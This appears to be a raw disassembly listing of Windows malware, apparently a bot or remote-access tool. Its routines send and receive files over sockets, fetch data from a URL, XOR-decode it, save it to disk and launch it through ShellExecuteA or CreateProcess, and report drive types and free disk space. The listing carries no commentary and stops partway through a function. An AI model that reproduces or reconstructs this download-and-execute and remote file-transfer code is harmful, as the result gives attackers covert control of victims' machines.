sub_40CAB4 proc near ; DATA XREF: sub_40F6F1+4CFBo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_441438 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40CB02
push offset dword_42D968
jmp loc_40CCBB
; ---------------------------------------------------------------------------
loc_40CB02: ; CODE XREF: sub_40CAB4+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_4413B8 ; ntohs
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4413E4 ; bind
test eax, eax
jz short loc_40CB40
push offset dword_42D934
jmp loc_40CCBB
; ---------------------------------------------------------------------------
loc_40CB40: ; CODE XREF: sub_40CAB4+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_44135C ; getsockname
push [ebp+var_2E]
call dword_4412F4 ; ntohs
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_417AF0
pop ecx
loc_40CB72: ; CODE XREF: sub_40CAB4+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40CB85
push 5Fh
pop eax
jmp short loc_40CB88
; ---------------------------------------------------------------------------
loc_40CB85: ; CODE XREF: sub_40CAB4+CAj
movsx eax, al
loc_40CB88: ; CODE XREF: sub_40CAB4+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_417AF0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40CB72
push ebx
push edi
call dword_4413E0 ; listen
test eax, eax
jz short loc_40CBBB
push offset dword_42D7E4
jmp loc_40CCBB
; ---------------------------------------------------------------------------
loc_40CBBB: ; CODE XREF: sub_40CAB4+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
nop
call near ptr 7C801A24h
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40CBE5
push offset dword_42D904
jmp loc_40CCBB
; ---------------------------------------------------------------------------
loc_40CBE5: ; CODE XREF: sub_40CAB4+125j
push esi
push eax
nop
call near ptr 7C810A77h
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AFAB
pop ecx
push eax
call dword_4413F8 ; inet_addr
push eax
call dword_4413B4 ; ntohl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42D8EC
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40DC10
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4413A0 ; select
test eax, eax
jg short loc_40CC95
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42D8C4
push eax
push [ebp+var_1FC]
call sub_40DC10
jmp loc_40CDB9
; ---------------------------------------------------------------------------
loc_40CC95: ; CODE XREF: sub_40CAB4+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_44144C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40CCCE
push offset dword_42D890
loc_40CCBB: ; CODE XREF: sub_40CAB4+49j
; sub_40CAB4+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_4173AC
pop ecx
pop ecx
jmp loc_40CDBC
; ---------------------------------------------------------------------------
loc_40CCCE: ; CODE XREF: sub_40CAB4+200j
push edi
call dword_441450 ; closesocket
cmp [ebp+arg_0], esi
jz loc_40CD80
mov edi, 400h
loc_40CCE3: ; CODE XREF: sub_40CAB4+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40CCF0
mov [ebp+var_4], eax
loc_40CCF0: ; CODE XREF: sub_40CAB4+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_417430
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
nop
call near ptr 7C810B8Eh
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
nop
call near ptr 7C80180Eh
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_441408 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4413D0 ; recv
cmp eax, ebx
jl loc_40CE15
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40CE15
sub [ebp+arg_0], eax
jnz loc_40CCE3
mov edi, [ebp+var_18]
loc_40CD80: ; CODE XREF: sub_40CAB4+224j
push [ebp+var_8]
nop
call near ptr 7C809B47h
push [ebp+var_C]
push [ebp+var_10]
call sub_40D5BA
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_3FC]
push offset dword_42D840
push eax
call sub_4173AC
loc_40CDB9: ; CODE XREF: sub_40CAB4+1DCj
add esp, 14h
loc_40CDBC: ; CODE XREF: sub_40CAB4+215j
cmp [ebp+var_50], esi
jnz short loc_40CDE1
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40DC10
add esp, 14h
loc_40CDE1: ; CODE XREF: sub_40CAB4+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40C4F7
cmp edi, esi
pop ecx
jbe short loc_40CDF9
push edi
call dword_441450 ; closesocket
loc_40CDF9: ; CODE XREF: sub_40CAB4+33Cj
push [ebp+var_1F8]
call dword_441450 ; closesocket
push [ebp+var_58]
call sub_417174
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_40CE15: ; CODE XREF: sub_40CAB4+2AFj
; sub_40CAB4+2BAj
push esi
mov esi, offset dword_42D818
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_40DC10
push esi
call sub_40C4F7
add esp, 18h
push [ebp+var_1F8]
call dword_441450 ; closesocket
push [ebp+var_58]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
sub_40CAB4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE56 proc near ; DATA XREF: sub_40F6F1+7BAo
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_417B70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
nop
call near ptr 7C814EEAh
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4173AC
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 7C801A24h
cmp eax, 0FFFFFFFFh
jnz short loc_40CEE0
push offset dword_42DA60
jmp short loc_40CF26
; ---------------------------------------------------------------------------
loc_40CEE0: ; CODE XREF: sub_40CE56+81j
push eax
nop
call near ptr 7C809B47h
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_41823A
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40CF08
push offset dword_42DA20
jmp short loc_40CF26
; ---------------------------------------------------------------------------
loc_40CF08: ; CODE XREF: sub_40CE56+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40C86D
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40CF39
push offset dword_42D9F0
loc_40CF26: ; CODE XREF: sub_40CE56+88j
; sub_40CE56+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_4173AC
pop ecx
pop ecx
jmp loc_40D033
; ---------------------------------------------------------------------------
loc_40CF39: ; CODE XREF: sub_40CE56+C9j
mov esi, 1000h
loc_40CF3E: ; CODE XREF: sub_40CE56+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4413D0 ; recv
mov edi, eax
cmp edi, ebx
jz loc_40D005
cmp edi, 0FFFFFFFFh
jz short loc_40CFA6
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_4188AC
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4413B4 ; ntohl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_441408 ; send
jmp short loc_40CF3E
; ---------------------------------------------------------------------------
loc_40CFA6: ; CODE XREF: sub_40CE56+118j
lea eax, [ebp+var_4C4]
push offset dword_42D818
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40DC10
lea eax, [ebp+var_4C4]
push eax
call sub_40C4F7
push [ebp+var_4]
call sub_4180DC
add esp, 24h
push [ebp+arg_0]
call dword_441450 ; closesocket
push [ebp+var_1C]
call sub_417174
pop ecx
push 1
nop
call near ptr 7C80C058h
loc_40D005: ; CODE XREF: sub_40CE56+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D5BA
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42D99C
push eax
call sub_4173AC
add esp, 1Ch
loc_40D033: ; CODE XREF: sub_40CE56+DEj
cmp [ebp+var_14], ebx
jnz short loc_40D058
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40DC10
add esp, 14h
loc_40D058: ; CODE XREF: sub_40CE56+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40C4F7
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40D073
push [ebp+var_4]
call sub_4180DC
pop ecx
loc_40D073: ; CODE XREF: sub_40CE56+212j
cmp [ebp+arg_0], ebx
jbe short loc_40D081
push [ebp+arg_0]
call dword_441450 ; closesocket
loc_40D081: ; CODE XREF: sub_40CE56+220j
push [ebp+var_1C]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
sub_40CE56 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D091 proc near ; DATA XREF: sub_40F6F1+393Fo
; sub_40F6F1+4062o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_441368
call dword_4412C8 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40D51D
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
nop
call near ptr 7C801A24h
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40D158
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_42DCF4
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40D13B
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40DC10
add esp, 14h
loc_40D13B: ; CODE XREF: sub_40D091+88j
lea eax, [ebp+var_510]
push eax
call sub_40C4F7
push [ebp+var_48]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_40D158: ; CODE XREF: sub_40D091+68j
xor edi, edi
nop
call near ptr 7C80929Ch
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_417BEE
pop ecx
mov [ebp+var_1C], eax
loc_40D172: ; CODE XREF: sub_40D091+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4412D0 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_40D1B6
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40D583
pop ecx
pop ecx
loc_40D1B6: ; CODE XREF: sub_40D091+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
nop
call near ptr 7C810D87h
cmp edi, ebx
jnb short loc_40D1F4
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40D1DE
mov eax, [ebp+arg_0]
loc_40D1DE: ; CODE XREF: sub_40D091+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_417490
add esp, 0Ch
loc_40D1F4: ; CODE XREF: sub_40D091+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40D201
cmp edi, [ebp+var_3C]
ja short loc_40D24B
loc_40D201: ; CODE XREF: sub_40D091+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_40D21B
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42DCAC
jmp short loc_40D22B
; ---------------------------------------------------------------------------
loc_40D21B: ; CODE XREF: sub_40D091+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42DC6C
loc_40D22B: ; CODE XREF: sub_40D091+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_446C10
push eax
call sub_4173AC
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40D172
loc_40D24B: ; CODE XREF: sub_40D091+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40D2A0
cmp edi, [ebp+var_3C]
jz short loc_40D2A0
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_42DC28
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40DC10
lea eax, [ebp+var_510]
push eax
call sub_40C4F7
add esp, 28h
loc_40D2A0: ; CODE XREF: sub_40D091+1C4j
; sub_40D091+1C9j
nop
call near ptr 7C80929Ch
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 7C809B47h
push [ebp+var_1C]
call sub_417C62
cmp [ebp+var_38], esi
pop ecx
jz short loc_40D32A
lea eax, [ebp+var_148]
push eax
call sub_40C7FB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40D32A
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_42DBF0
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40DC10
lea eax, [ebp+var_510]
push eax
call sub_40C4F7
add esp, 28h
loc_40D32A: ; CODE XREF: sub_40D091+241j
; sub_40D091+253j
cmp [ebp+var_14], esi
jz loc_40D56A
cmp [ebp+var_44], 1
jz loc_40D425
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421610
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421610
fstp [esp+590h+var_590]
push offset unk_42DBA8
push eax
call sub_4173AC
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40D3A5
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40DC10
add esp, 14h
loc_40D3A5: ; CODE XREF: sub_40D091+2F2j
lea eax, [ebp+var_510]
push eax
call sub_40C4F7
cmp [ebp+var_40], 1
pop ecx
jnz loc_40D56A
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_44132C ; ShellExecuteA
cmp [ebp+var_30], esi
jnz loc_40D56A
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42DB74
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40DC10
lea eax, [ebp+var_510]
push eax
call sub_40C4F7
add esp, 24h
jmp loc_40D56A
; ---------------------------------------------------------------------------
loc_40D425: ; CODE XREF: sub_40D091+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421610
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421610
fstp [esp+590h+var_590]
push offset unk_42DB24
push eax
call sub_4173AC
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40D48D
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40DC10
add esp, 14h
loc_40D48D: ; CODE XREF: sub_40D091+3DAj
lea eax, [ebp+var_510]
push eax
call sub_40C4F7
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417430
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_417430
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_43C63C
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
nop
call near ptr 7C802367h
cmp eax, edi
jnz short loc_40D50F
call dword_441318 ; WSACleanup
call sub_40ABB7
push esi
nop
call near ptr 7C81CDDAh
loc_40D50F: ; CODE XREF: sub_40D091+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_42DADC
jmp short loc_40D529
; ---------------------------------------------------------------------------
loc_40D51D: ; CODE XREF: sub_40D091+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42DAA0
loc_40D529: ; CODE XREF: sub_40D091+48Aj
lea eax, [ebp+var_510]
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40D55D
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40DC10
add esp, 14h
loc_40D55D: ; CODE XREF: sub_40D091+4AAj
lea eax, [ebp+var_510]
push eax
call sub_40C4F7
pop ecx
loc_40D56A: ; CODE XREF: sub_40D091+29Cj
; sub_40D091+325j ...
push [ebp+var_18]
call dword_4413EC ; InternetCloseHandle
push [ebp+var_48]
call sub_417174
pop ecx
push esi
nop
call near ptr 7C80C058h
sub_40D091 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D583 proc near ; CODE XREF: sub_40D091+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40D59F
loc_40D58F: ; CODE XREF: sub_40D583+1Aj
mov dl, byte_42ECF8
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40D58F
locret_40D59F: ; CODE XREF: sub_40D583+Aj
retn
sub_40D583 endp
; =============== S U B R O U T I N E =======================================
sub_40D5A0 proc near ; CODE XREF: sub_40F6F1+2B56p
; sub_40F6F1+2CA5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_418DAF
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40D5A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D5BA proc near ; CODE XREF: sub_4062F7+45Dp
; sub_4062F7+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_44578C
push 0
push edi
call sub_417430
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40D5DF: ; CODE XREF: sub_40D5BA+5Bj
; sub_40D5BA+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_4189C0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_418A40
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40D61D
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40D5DF
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40D5DF
; ---------------------------------------------------------------------------
loc_40D61D: ; CODE XREF: sub_40D5BA+4Bj
dec esi
mov eax, edi
loc_40D620: ; CODE XREF: sub_40D5BA+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40D62F
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40D620
; ---------------------------------------------------------------------------
loc_40D62F: ; CODE XREF: sub_40D5BA+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40D5BA endp
; =============== S U B R O U T I N E =======================================
sub_40D639 proc near ; CODE XREF: sub_40D7E5+51p
; sub_40D7E5+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_441418 ; GetDriveTypeA
sub eax, 0
jz short loc_40D67C
dec eax
jz short loc_40D676
dec eax
dec eax
jz short loc_40D670
dec eax
jz short loc_40D66A
dec eax
jz short loc_40D664
dec eax
jz short loc_40D65E
mov eax, offset word_42D4DC
retn
; ---------------------------------------------------------------------------
loc_40D65E: ; CODE XREF: sub_40D639+1Dj
mov eax, offset off_42DD54
retn
; ---------------------------------------------------------------------------
loc_40D664: ; CODE XREF: sub_40D639+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40D66A: ; CODE XREF: sub_40D639+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40D670: ; CODE XREF: sub_40D639+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40D676: ; CODE XREF: sub_40D639+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40D67C: ; CODE XREF: sub_40D639+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40D639 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D682 proc near ; CODE XREF: sub_40D6CA+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4412B4
test eax, eax
jz short loc_40D6B7
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_40D6B7: ; CODE XREF: sub_40D682+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D682 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D6CA proc near ; CODE XREF: sub_40BDAD+1F3p
; sub_40D7E5+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40D682
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40D7A2
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40D7A2
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40D7A2
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_418E00
push edx
push eax
call sub_40D5BA
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41792A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_418E00
push edx
push eax
call sub_40D5BA
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41792A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_418E00
push edx
push eax
call sub_40D5BA
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41792A
add esp, 18h
pop ebx
jmp short loc_40D7D1
; ---------------------------------------------------------------------------
loc_40D7A2: ; CODE XREF: sub_40D6CA+2Cj
; sub_40D6CA+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4173AC
